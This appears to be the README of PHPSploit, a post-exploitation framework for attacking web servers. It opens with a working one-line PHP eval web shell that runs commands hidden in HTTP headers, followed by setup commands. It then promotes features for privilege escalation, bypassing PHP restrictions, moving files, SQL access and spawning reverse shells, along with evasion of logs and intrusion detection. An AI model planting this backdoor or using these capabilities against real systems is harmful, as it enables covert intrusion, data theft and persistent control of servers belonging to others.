The obfuscated communication is accomplished using HTTP headers under standard client requests and web server's relative responses, tunneled through a tiny polymorphic backdoor:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Quick Start

git clone
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"


  • Efficient: More than 20 plugins to automate privilege-escalation tasks

    • Run commands and browse filesystem, bypassing PHP security restrictions
    • Upload/Download files between client and target
    • Edit remote files through local text editor
    • Run SQL console on target system
    • Spawn reverse TCP shells
  • Stealth: The framework is made by paranoids, for paranoids

    • Nearly invisible by log analysis and NIDS signature detection
    • Safe-mode and common PHP security restrictions bypass
    • Communications are hidden in HTTP Headers
    • Loaded payloads are obfuscated to bypass NIDS
    • http/https/socks4/socks5 Proxy support
  • Convenient: A robust interface with many crucial features

    • Detailed help for any option (help command)
    • Cross-platform on both client and server.
    • CLI supports auto-completion & multi-command
    • Session saving/loading feature & persistent history
    • Multi-request support for large payloads (such as uploads)
    • Provides a powerful, highly configurable settings engine
    • Each setting, such as user-agent has a polymorphic mode
    • Customisable environment variables for plugin interaction
    • Provides a complete plugin development API

Supported platforms (as attacker):

  • GNU/Linux
  • Mac OS X

Supported platforms (as target):

  • GNU/Linux
  • BSD-like
  • Mac OS X
  • Windows NT
